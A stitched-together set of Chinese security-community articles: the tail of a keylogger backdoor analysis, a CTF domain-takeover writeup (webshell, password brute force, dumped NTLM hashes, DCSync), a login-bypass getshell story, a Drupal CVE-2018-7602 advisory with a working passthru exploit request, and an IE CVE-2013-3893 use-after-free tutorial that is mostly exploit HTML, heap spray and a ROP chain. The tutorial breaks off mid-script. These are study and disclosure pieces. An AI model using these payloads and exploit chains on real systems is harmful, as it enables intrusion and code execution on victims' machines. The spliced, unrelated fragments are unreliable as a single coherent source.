从内存中dump出的文件是一个DLL程序，导出模块名为Install.dat（Torchwood.dll），其导出函数是Torchwood。
QQMusic.dll在内存中执行解密后的恶意模块Install.dat，调用主函数和导出函数Torchwood，执行后门功能。
### Torchwood.dll分析
首先，远程连接c&c 地址（laptop.88***e.xyz）
端口是0x641
然后记录键盘操作
接着保存键盘记录信息并进行加密，等待远程回传指令
此外，该远控后门程序还包含多个其他功能
部分操作指令及对应的功能如下
## 受害用户案例
由于某些用户被木马的外表迷惑退出杀软，导致支付宝被盗屡有发生。以下是用户退出360安全卫士后支付宝被盗的真实案例。
用户在2017年11月18日主动退出安全卫士运行木马文件，如下：
木马潜伏2天后盗取用户的网银进行交易，如下：
## 追踪木马作者
通过对恶意样本的分析，我们找到了木马作者的重要信息：木马作者的QQ号码875***637。
通过QQ号码定位到作者购买的域名：
通过域名信息定位到作者的真实姓名及QQ邮箱：
通过QQ邮箱定位到163邮箱
通过QQ号码定位到作者手机号： | 社区文章 |
# Ichunqiu云境 - Delegation Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 Info
## 0x2 Recon
1. Target external IP
`39.98.34.149`
2. Nmap results
3. 关注80端口的http服务，目录爆破（省略）找到 /admin
4. 使用弱口令登录进入后台，去到模板页面，编辑header.html，添加php一句话
用户名: admin, 密码：123456
5. 命令执行
## 0x03 入口点：172.22.4.36
1. 弹shell
快速过一下：
* 入口机器没特别的东西
* 没能提权到root权限（也不需要提权到root权限）
* stapbpf suid利用失败
找到diff suid
2. flag01
`diff --line-format=%L /dev/null /home/flag/flag01.txt`
3. flag01 里面有提示用户名
`WIN19\Adrian`
4. 挂代理扫 445
获取到三个机器信息172.22.4.19 fileserver.xiaorang.lab
172.22.4.7 DC01.xiaorang.lab
172.22.4.45 win19.xiaorang.lab
5. 用 Flag01提示的用户名 + rockyou.txt 爆破，爆破出有效凭据 (提示密码过期)
`win19\Adrian babygirl1`
6. xfreerdp 远程登录上 win19 然后改密码
## 0x04 Pwing WIN19 – 172.22.4.45
前言：当前机器除了机器账户外，完全没域凭据，需要提权到system获取机器账户
1. 桌面有提示
2. 关注这一栏，当前用户Adrian对该注册表有完全控制权限
3. 提权
msfvenom生成服务马，执行 sam.bat
sam.bat
修改注册表并且启用服务，然后桌面就会获取到 sam，security，system
4. 获取 Administrator + 机器账户 凭据Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
$MACHINE.ACC:
aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636
5. flag02
6. 使用机器账户收集域信息
## 0x05 DC takeover – 172.22.4.7
1. 分析 Bloodhound，发现 WIN19 + DC01都是非约束委派
2. 使用Administrator登录进入 WIN19，部署rubeus
3. 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT
4. Base64的tgt 解码存为 DC01.kirbi
5. DCSync 获取域管凭据
![[]]
6. psexec – flag04
## 0x06 Fileserver takeover – 172.22.4.19
1. psexec – flag03
## 0x07 Outro
* 感谢Alphabug师傅的提示（0x03 – 0x04），大哥已经把入口点都打完了，我只是跟着进来而已
* 感谢九世师傅的合作
* Spoofing已经打完了，walkthrough也写完了，等1000奖励到手后新年释出，个人感觉Spoofing更好玩，出题的思路很妙 | 社区文章 |
### 0x00 介绍
几乎每个系统都会存在各种各样的验证的功能.常见的几种验证功能就包括 账号密码验证,验证码验证,JavaScript
数据验证及服务端数据验证等,程序员在涉及验证方法时可能存在缺陷导致被绕过,于是就有了验证绕过漏洞.
在各大安全社区有师傅已经发表了更加详细的漏洞介绍,这里就不再阐述了.
验证码绕过: <https://www.freebuf.com/column/156519.html>
客户端校验绕过: <https://cloud.tencent.com/developer/article/1459233>
### 0x01 正文
昨天晚上闲的没事,就在回顾自己Edusrc的历史漏洞,看到某个注入绕过已修复的,顺手点了进去.利用之前的绕过手法进行注入被拦截,还真修复了~
(注入绕过文章: <https://xz.aliyun.com/t/8651>)
带点不甘心的原因,对此站点继续进行漏洞挖掘.
打开网址: <http://xxx.xxxx.com/login.do>
依旧是熟悉的登陆框,文章开头那篇文章的注入已经被修复了.
大多数人的思路可能是:
1.暴力破解
2.抓登陆的POST包注入
再此面对此登陆框的话,捋一捋思路:
* 尝试利用上次注入得到的密码进行登陆 -> 失败 (不过也很正常,肯定会改的)
* 尝试注入 (已修复.修复方法: 在对传入的账号密码进行RSA加密,再判断是否为正确,不是RSA的话直接返回False)
这就直接给我断绝后路了?
不,并没有
### 0x02 跟踪Js
在翻看源码Js文件的时候,找到一login.min.js,猜想是与登陆相关的接口文件.
我们继续跟踪具体内容.
有部分内容Unicode编码,拿到网站上去解分析方便点
很明显定义了三个变量来验证:
a -> loginId (用户名)
b -> password (密码)
c -> verifycode (验证码)
看见有两处接口url:
/frameword/login_login.do
/frameword/login_toManage.do
分别访问,第一处是登陆验证,跳转到了文章开头那个登陆点.
在访问第二处接口的时候,闪了一下后台框架然后到一个空白界面,
出现逻辑问题可能从js中不好直接判断,但是通过js访问的此接口,菜x的第六感告诉我这里可能存在问题.
分析此处的Js.猜想出现问题点的可能是这几条
post(baseUrl_+"/framework/login_login.do",{loginId:a,password:b,verifycode:c,abc:Math.random()},
function(a){"true"==a?window.location=baseUrl_+"/framework/login_toManage.do":" code Faild" ==a?
为何能访问到该后台框架? 让我确信了此处肯定存在问题.
这就联想之前看见定义的三个变量了.按我的理解来看的话,变量定义没问题.
但是这里貌似只验证了 loginId , 也就是 a
其中根据Js来判断可能会出错,但是Js中确实只对a进行判断然后直接得到后台url.
那么我再对此分析进行跟踪进行测试
账号输入admin
密码随意
用户名输入一个不存在的:123
密码随意
很正常,按着Js的逻辑走的,但是在我们输入正确的用户名,也就是刚刚说到的 a.再去手工访问刚得到的后台接口地址时.
直接得到了admin这个用户的所有权限
很明显只校验了参数 a. 成功进入后台
后台多处功能点,文件上传未校验.
然后就是很普遍的流程
文件上传 -> Getshell
### 0x03 结语
验证功能一直是各个系统不可缺少的重要部分.
我们在平时的渗透测试中遇到的各个功能点验证部分可以更加细心的去测试.
并不是看着密密麻麻的代码手足无措,细心点,万一就找到突破口了呢?
(转载请注明作者) | 社区文章 |
# CVE-2018-7602：Drupal核心远程代码执行漏洞分析预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-042601
报告来源： 360-CERT
报告作者： 360-CERT
更新日期： 2018-04-26
## 漏洞概述
2018年4月26日，Drupal官方发布新补丁和安全公告，修复了编号为CVE-2018-7602的远程代码执行漏洞，此漏洞源于3月28日的更新版中对编号为CVE-2018-7600的漏洞修复不完全，导致
**补丁被绕过** ，可以造成任意代码执行。
目前，已经发现针对CVE-2018-7602/CVE-2018-7600漏洞的在野利用，且部分利用代码已经公开。360-CERT对此漏洞进行了技术分析，建议使用Drupal开源内容管理系统的用户尽快进行更新。
## 漏洞影响面
**影响版本**
Drupal 7.x，8.x
**修复版本**
Drupal 7.59，Drupal 8.5.3，Drupal 8.4.8
**修复补丁**
1. 8.x 版本
[https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=bb6d396609600d1169da29456ba3db59abae4b7e](https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=bb6d396609600d1169da29456ba3db59abae4b7e)
2. 7.x 版本
[https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=080daa38f265ea28444c540832509a48861587d0](https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=080daa38f265ea28444c540832509a48861587d0)
注意：此补丁只针对CVE-2018-7602漏洞，针对CVE-2018-7600修复方式查看
[CVE-2018-7600:Drupal核心远程代码执行漏洞预警](https://cert.360.cn/warning/detail?id=3d862f150b642421c087b0493645b745)。
## 漏洞详情
对CVE-2018-7600漏洞的补丁通过过滤带有`#`的输入来处理请求（GET，POST，COOKIE，REQUEST）中数据。
但是Drupal
应用还会处理`path?destination=URL`形式的请求，发起请求需要对`destination=URL`中的URL进行URL编码，当对URL中的`#`进行编码两次，就可以绕过`sanitize()`函数过滤。
构造特殊请求绕过过滤代码
POST /drupal-7.59/drupal-7.59/node/9/delete?destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami
其中`%2523`是对`#`的两次URL编码。
WEB中间件对`%2523`解码获得`%23`
绕过`sanitize()`,`stripDangrousValues`函数检查。
在Drupal应用对`destination URL`进行处理时，会再次解码`%23`,获得`#`。
使用parse_str,并存入options，还需要通过其他步骤来触发漏洞。
## 补丁分析
增加对`destination URL`安全处理
限定parse_str只对string参数做处理
并在可能触发漏洞的文件模块增加处理
## 时间线
**2018-03-28** Drupal 官方发布针对CVE-2018-7600漏洞的补丁和安全公告
**2018-03-29** 360-CERT 发布CVE-2018-7600:Drupal核心远程代码执行漏洞预警
**2018-04-13** 360-CERT 发布CVE-2018-7600:漏洞分析报告
**2018-04-26** Drupal 官方发布针对CVE-2018-7602漏洞的补丁和安全公告
**2018-04-26** 360-CERT 发布CVE-2018-7602:Drupal核心远程代码执行漏洞分析预警
## 参考链接
1. <https://www.drupal.org/sa-core-2018-004>
2. <https://www.drupal.org/sa-core-2018-002>
3. <https://cert.360.cn/report/detail?id=c92cfff2634a44c8b1d6bd5e64c07f3d>
4. <https://cert.360.cn/warning/detail?id=3d862f150b642421c087b0493645b745>
5. <https://pastebin.com/pRM8nmwj> | 社区文章 |
# IE漏洞学习笔记（三）：CVE-2013-3893漏洞案例分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
调试环境：
Windows 7 SP1
IE8
漏洞编号:CVE-2013-3893
摘要：
该漏洞是的原理是，IE下的mshtml动态连接库将TreeNode对象从Dom树释放后，又重新调用对象的任意代码执行。该漏洞覆盖的IE版本从IE6到IE11，是一个典型的浏览器UAF漏洞，最后使用精准堆喷射完成利用。
因为本文作者调试实例漏洞的功底有限，所以会漏洞如何发现以及利用部分，漏洞的原理和挖掘的讲解可能达不到高水平读者的要求。文章比较长，希望感兴趣的读者能耐心读下去。
## 1.1漏洞分析
可以通过msf/exploit-db获取这个漏洞的POC，我们对其进行一些修改，方便我们的分析。
调试的poc代码如下
POC.html
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
document.write("");
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
### 1.1.1 基于POC的流程分析
首先要清楚POC的运行流程，通过createElement创建两个对象father和child
接着为两个对象分别创建两个结点。效果如图所示，<body>标签下创建了<father>和<child>标签。同时也会创建一个TreeNode对象。
将child作为father的子结点
father[‘outerText’]=””将元素本身赋值为空对象，这句会导致DOM树中所有father的子孙结点都被析构（fahter、child）也就是说TreeNode会从DOM上脱离。
father.setCapture();child.setCapture();father鼠标指针聚焦，child鼠标指针聚焦，导致father失焦，会触发father.onlosecapture=function()
document.write(“”);
漏洞触发的位置
在调用document.write(“”);时候，释放了TreeNode对象，但是在程序之后运行的函数中，使用了这个被释放的对象，导致了释放后重用漏洞。
POC调试
程序断点在了CTreeNode::GetInterface函数，call ecx指向的地址。
使用kv可以追踪函数的流程。按照这样的回溯也是可以分析漏洞的。不过为了更精确地找到造成中断的根源，我们开启页堆（page
heap），这样程序在遇到堆结构被破坏时会更即使地断下。
使用Windbg的Global Flags工具开启page heap（页堆），选择Enable page heap选项。
不建议开启左下角的Enable heap tagging，会导致后面调试经常出问题。
再次运行POC，程序断点在了HasContainerCapture+0x14的位置。根据栈回溯，可以发现比之前的断点位置更靠前了一些。
使用kv查看栈回溯，使用ub查看具体触发的代码。
我们再次查看HasContainerCapture+0x14的位置，发现他实际调用了一个已经被释放到对象TreeNode，从而造成了释放后重用（UAF）漏洞。
继续向下看，我们分析此时造成崩溃的EDI参数，!heap -p -a edi查看edi所在堆的状态。
可以看到EDI所指向的堆已经在!CTreeNode::Release被释放了。
重新调试一遍，查看TreeNode对象（地址和上一次调试不同）在被释放前的空间为0x4c，所以只需要在被释放之后，用js立即分配一块相同大小的堆就能进行占位。
虽然知道POC触发了UAF漏洞，但是我们对这个漏洞的具体细节还一无所知，更不用提利用了。所以我们要从程序流程的角度来分析一下漏洞触发的原因。
接下来关闭页堆，进一步调试整个POC的触发的程序流程，以及UAF是如何造成影响的。
修改一下poc（增加了一段js，创建了一个div对象，具体原因下文会说明），继续调试。
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
document.write("");
Math.cos(1,2);
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";
}
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
首先对几个关键部分下断点，在POC中写入一些三角函数，例如tan、sin、cos这几个JS的函数主要是帮助我们判断程序运行到哪个位置，因为在程序汇总我们下断点到函数会反复地运行，可能会多次断下，但是不一定是我们需要到断点。（比如调试时候，tan还没断下来，CElement就断了好几次，这个断点就需要我们跳过）
下面是我下的断点，仅供参考。（到后期调试最后两个断点可以去掉）
0:016> bl
0 e 6d86d898 0001 (0001) 0:**** jscript!tan
2 e 6d86d6e9 0001 (0001) 0:**** jscript!sin
3 e 6d86d657 0001 (0001) 0:**** jscript!cos
4 e 6ba49fd3 0001 (0001) 0:**** mshtml!CElement::CElement
5 e 6b9caed1 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal
6 e 6b9e5acf 0001 (0001) 0:**** mshtml!CElement::appendChild
首先断点在了tan，三角函数断点并不是必须的，但是在调试IE这样程序流复杂的对象时，可以帮助我们判断程序运行的位置。
第一个CElement::CElement断点，当然直接给createElement下断点也是可以的，但是要获取这个对象的指针，需要运行CElement+0x18的位置。此时EDI存放的便是Element对象的指针。
即var father=document.createElement(“father”);中的father
为什么我们能判断此时的EDI是Element的对象指针呢，其实分析0x6ba49feb地址的这句语句，将C++的虚函数表地址放入了[EDI]的位置，这不就是C++
初始化对象的行为嘛。对象的头部就是虚函数表。
第二个断点，也是同理，var child=document.createElement(“child”);中的child对象指针为2eebd88.
中途再次断在tan，g继续运行
创建子结点father
document.body.appendChild(father);
创建了一个TreeNode对象，指针默认通过EAX值返回。
同理第二个子结点，也可以获取它的指针（child）
运行结束之后，可以看一下目前的内存结构，发现已经形成了一个类似链表的结构。
查看内存空间，下图中从上到下分别是
Element对象father
子节点<father>
Element对象child
Element对象child
结构图为
Element对象father(2eec048) Element对象child(2eebd88)
| |
V V
子节点<father>(2ee8ac0) 子节点<child>(2ee8388)
^ ^
| |
------------------------------------
|
CBody_TreeNode(02f123a8)
而TreeNode则为我们这次释放后重用漏洞的利用对象，通过链表关系我们其实可以知道，调试过程中只需要获取fahter对象的指针，就能通过链表关系获取到TreeNode指针，下一次调试就会节省很多时间。
接下来程序断点在了sin函数，继续g运行，child.applyElement(father)，直到运行到cos函数。
此时查看内存，能发现<child>变成了<father>的子结点。
结构图为
Element对象father(2eec048) Element对象child(2eebd88)
| |
V V
子节点<father>(2ee8ac0) <-- 子节点<child>(2ee8388)
^
|
-------------
|
CBody_TreeNode(02f123a8)
之后执行father[‘outerText’]=””会发现father以及他的子节点都被清空了。TreeNode也不在Dom树上了，但是这块内存指针依然存在。
使用!heap -p -a 02f123a8,发现这块内存依旧busy，size为4c
0:005> !heap -p -a 02f123a8
address 02f123a8 found in
_HEAP @ 200000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02f12390 000d 0000 [00] 02f123a8 0004c - (busy)
执行father.setCapture();child.setCapture();会触发father.onlosecapture函数
进而执行的document.write(“”)会将TreeNode释放
!heap -p -a 02f123a8,发现内存已经被free了
0:005> !heap -p -a 02f123a8
address 05118558 found in
_HEAP @ 200000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02f12390 000d 0000 [00] 02f12398 00060 - (free)
这里就需要划重点了，这个内存被释放了，而之后这个内存的指针依然存在，甚至还被程序调用了。这明显是一个UAF漏洞，这时我们要利用之前讲的占坑技术，申请一段和之前差不多大小的内存，就能成功控制这块内存。
于是此时我们可以使用Js申请多个与被释放对象相同大小的内存块，对其进行占位。（申请多个是为了保证Exp稳定性）
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";
}
使用javascript申请大量80字节左右的空间（78个0x0c+2个<div>）
tt[i].className = "u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u2222u3333u4444u1111";//替代c
查看TreeNode内存空间，发现占位成功。
0:005> !heap -p -a 02f123a8
address 02f123a8 found in
_HEAP @ 220000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02f12390 000d 0000 [00] 02f123a8 0004e - (busy)
0:005> dc 02f123a8
02f123a8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123b8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123c8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123d8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
注意：建议覆写部分不要使用0c0c0c0c作为数据，因为后期使用精确堆喷射的时候，我们会修改0c0c0c0c地址的值，这样覆盖虚表地址为0c0c0c0c，而0c0c0c0c地址存放的并不是0c0c0c0c而是我们shellcode的开头。
继续运行，程序断在了GetInterface+0xac的位置，eax已经被赋值为了0x0c0c0c0c，说明这里调用了我们被释放的对象TreeNode。也就是我们占位成功，并且赋值给EAX。
不过这里还不是我们控制EIP的漏洞代码，因为这里[eax]不存在值所以程序就断下来了(EAX此时指向的应该是TreeNode虚函数表指针)。
接下来我们使用堆喷射将这段内存填充满值（0c0c0c0c）。
我们增加一个HeapSpray函数，准备好堆喷射，具体堆喷射细节可以参考前辈给出的利用总结（下图）。此时再次运行我们的程序。
exp.html
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
Heapspray();
document.write("");
//Math.cos(1,2);
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u2222u3333u4444u1111";//替代c
}
Math.sin(1,2);
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
function Heapspray()
{
var i=0;
shellcode="u1234u3456u7890u1234u3456u7890";
block="u0c0cu0c0c"
while(block.length<0x100000)
block+=block;
block=block.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
block+=shellcode;
var memory=new Array();
for(i=0;i<600;i++)
memory[i]=block.substring(0,block.length);
}
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
程序跳转到了0x0c0c0c0c，通过栈回溯，很明显是在GetInterface函数中调用call
[ecx]，读取了TreeNode对象中的内容，完成了一次堆EIP的控制。
注：ECX的值来源
向前阅读，发现上一次运行的断点就在向上5行(详细情况读者可以看本文的上一小节)，根据上文的分析mov
ecx,[eax]此时的EAX的值是从被我们覆盖的TreeNode中读取的（已经被我们覆盖为了0c0c0c0c）。从EAX指向的地址读取字符给ECX，而堆空间中已经被堆满了0c0c0c0c，因此导致ECX也被赋值为了0c0c0c0c地址存放的数据（也是0c0c0c0c）。然后call
[ecx]就发生了。
需要注意的是，在后期利用占位使用的字符尽量不要使用0c0c0c0c，因为这个空间会被我们安排ROP链，会导致[EAX]不能给ECX赋正确的值。（0c0c0c0c）
通过利用这个UAF漏洞，我们最后成功控制了程序流。
### 1.1.2 漏洞利用泛谈
UAF的部分到这里已经结束了。用大佬的说的一句话，就是漏洞和程序编写者有关，与系统无关。UAF漏洞是mshtml的一个内存漏洞，由漏洞能控制程序流。只要没有补丁，IE8在WinXP或者WIN10下，这个漏洞都是存在的。
区别在于利用难度，WIN XP SP1没有DEP，所以堆喷射一下就解决了。WIN 10开启了很复杂的保护，每周还有更新，利用难度非常高。
谈这点是的主要目的是什么呢，主要就是想表达自己最近领悟的一个观点。漏洞是客观存在的，与我们在什么系统下执行无关。能够利用，可能就要考验利用者的手法了。所以希望读者能明白，如果希望实现你UAF，那么原理和案例看到这里就够了。
并不是说利用手法不重要，而是希望自己能够对漏洞概念有一个更深刻的领会。
下文将尝试在WIN7下的对这个漏洞进行利用，使用ROP和精确堆喷射绕过DEP防护。
WIN7下的利用分析
使用mona插件，可以非常明显发现IE开启了DEP（IE本身没有开，但是mshtml开了），导致堆内的空间也不可执行。如果是XP环境，shellcode会被直接执行，但是在这里就需要使用ROP来绕过DEP。ASLR因为需要重启才会导致基础地址发生变化，所以我们本地测试暂时不做讨论。
绕过DEP的一般操作就是使用VirtualProtect关闭DEP，可以使用x
kernel32!Virtual*查找这个函数的位置。如果ASLR的影响算在内，函数地址也不是稳定的。（kernel32的地址也会变化）
在正式开始利用前，我们先做一个小实验：
在HeapSpray执行之后，查看0c0c0c0c的内存空间，发现已经被覆盖。
使用
ed <address> data
我们将0c0c0c0c地址的数据修改成了VirtualProtect的地址。
成功跳转进入了函数。
### 1.1.3精确堆喷射
> 目前需要解决的问题有二
>
> 一是我们的数据包括shellcode和ROP链是存放在堆中的，熟悉ROP的读者应该明白只有在栈中（或者伪造的栈）才能正常执行程序链。
>
>
> 二是程序开启了DEP，堆不可执行，除非ROP链的头部正好对准0c0c0c0c（或者我们制定的其他跳转地址），才能正常执行ROP，一个字节也不能差。但是堆喷射是一种不稳定的技术，ROP链的地址在堆中位置是不确定。
解决方案：
因为我们将ROP布置在堆中，不能像栈一样方便直接执行。这里可使用栈翻转技术解决，将ESP指向我们堆中的ROP，就和在栈中没有区别了。前文我们已经尝试了在0c0c0c0c的位置布置了一个指向VirtualProtect函数的指针，并且成功跳转了，目前只需要布置好ROP就行。
那就第二个问题，如何在将ROP链的头精确的放在0c0c0c0c的位置。具体细节可以阅读下面这两篇文章。关键字：精确堆喷射。通过这个技术我们能将ROP精准地对准0c0c0c0c。
[链接1](https://blog.csdn.net/huhu1544/article/details/9821735)
[链接2](http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html)
HeapSpray.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
var nop="u0c0cu0c0c";
while(nop.length<0x100000)
nop+=nop;
nop=nop.substring(0,(0x80000-6)/2-sc.length);
code=sc+nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
</script>
</body>
</html>
查看0c0c0c0c的内存发现成功覆盖，但是我们需要到是能精准对将ROP链/Shellcode的头部对准0c0c0c0c的位置。
查看0c0c0c0c堆块的堆头为0c0a0018。一个堆块对应我们使用JS分配的8MB的heap_chunk。
而UserPtr也就数据存放的开头为0c0a0030(一般来说是0c010020但是我调试时开了Enable heap
tagging)，查看这个区域我们输入数据头部就是从UserPtr+8的位置开始的。
可以看出堆空间的起始地址的最后四位都变成了0018，UserPtr的最后四位则为0030.
这是在大量分配内存之后会产生的现象。
虽然每次分配的值地址不一定完全相同，比如第一次0c0c0c0c所在用户堆起始地址为0c0a0030，偏移为0x20bdc，而第二次则为0c0b0030，偏移为0x10bdc。
但是变化范围都是以0x10000为基数的，只需要在heap_chunk中以0x10000为单位配置好shellcode+nops的格式。最后heap_chunk整体加上偏移地址0xbdc，无论地址怎么变化，都能顺利让0c0c0c0c指向函数shellocode的起始地址。
修改HeapSpray,成功利用heap-feng-shui技术将0c0c0c0c的位置精确定为我们shellcode的起始地址。代码如下。
可以看到我们内存中每隔0x1000都会存在一个shellcode+nop的结构。这样能让0c0c0c0c具有某种程度上的稳定。
HeapSpray.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000为单位的shellcode+nop结构单元
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码，所以0x10000/2个字节
var sc_nop=sc+nop_chunk;
//组合成单个大小为0x80000的堆块（heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
</script>
</body>
</html>
将这段代码替换poc中的heapspray函数，运行poc发现，程序成功跳转到41414141的位置。（因为0c0c0c0c地址已经被AAAA覆盖）
接下来只需要构造ROP链，使用VirtualProtect函数将0c0c0c0c开始的内存设置为可执行即可。大概参数可以
BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);
可以使用mona插件快速寻找gadgets
!py mona findwild -s "mov esp,eax#*#retn"
0x760f0b51 | 0x760f0b51 (b+0x002b0b51) : mov esp,eax # dec ecx # retn
0x760e0ae2 | 0x760e0ae2 (b+0x002a0ae2) : mov esp,ecx # dec ecx # retn 4
### 1.1.4构造ROP链
翻转栈帧到堆空间
因为发生UAF之后，ESP指向的是当前的栈空间，而我们的rop链是放在heap里的。所以需要使用栈翻转，将esp指向我们堆中的rop链。这个部分也是非常有意思的。
步骤（0）首先eax是我们可控的参数（通过占位TreeNode），ecx的值来源为[eax],所以eax的值不能直接指向我们的rop链，因为这样ecx会读取不到正确的值，call
[ecx]也就不能跳转。
步骤（1）ROP链头部必须执行栈翻转操作，否则rop链将无法成功执行。
看大佬的案例是寻找xchg指令，对esp进行赋值。但是我并没有找到很合适的gadget。
!py mona find -s "x94xc3" 或者!py mona.py findwild -s "xchg esp,eax#*#retn"
0x736c32fa | 0x736c32fa (b+0x000132fa) : x94xc3
不过上穷水尽疑无路，柳暗花明又一村。我们找到了一组包含pop esp的gadget，可以修改esp为0c0c0c0c
!py mona.py findwild -s "push ecx#*#pop esp#*#retn"
0x75b48d9e | 0x75b48d9e (b+0x00398d9e) : push ecx # pop esp # pop ebp # retn 4
步骤（2）上一个步骤执行到ret命令时，esp=0c0c0c10，所以在0c0c0c10起始埋下我们到ROP链接就行。
步骤（3）ROP设置shellcode内存可执行之后，跳转到shellcode运行即可。
ROP流程图
Heap
(0) Reg eip->0c0c0c0c ecx=0c0c0c0c eax=0c0c0c04 esp=>stack
(1)=>0c0c0c0c push ecx#pop esp#..#ret 4 => esp=0c0c0c0c+4=>heap
(2)=>0c0c0c10 ret =>esp=0c0c0c10+4+4(因为ret4)
0c0c0c14 0c0c0c0c (跳过4字节)
(3)=>0c0c0c18 VirtualProtect_addr =>esp=0c0c0c10->0c0c0c18(因为ret4)
... 0c0c0c1c shellcode_addr ->0c0c0c30
0c0c0c20 0c0c0c00 [arg4]
0c0c0c24 0x1000 [arg3]
0c0c0c28 0x40 [arg2]
0c0c0c2c 0c0c0c0c[arg1]
(3) 0c0c0c30 shellcode
编写出EXP利用脚本
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
Heapspray();
document.write("");
//Math.cos(1,2);
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
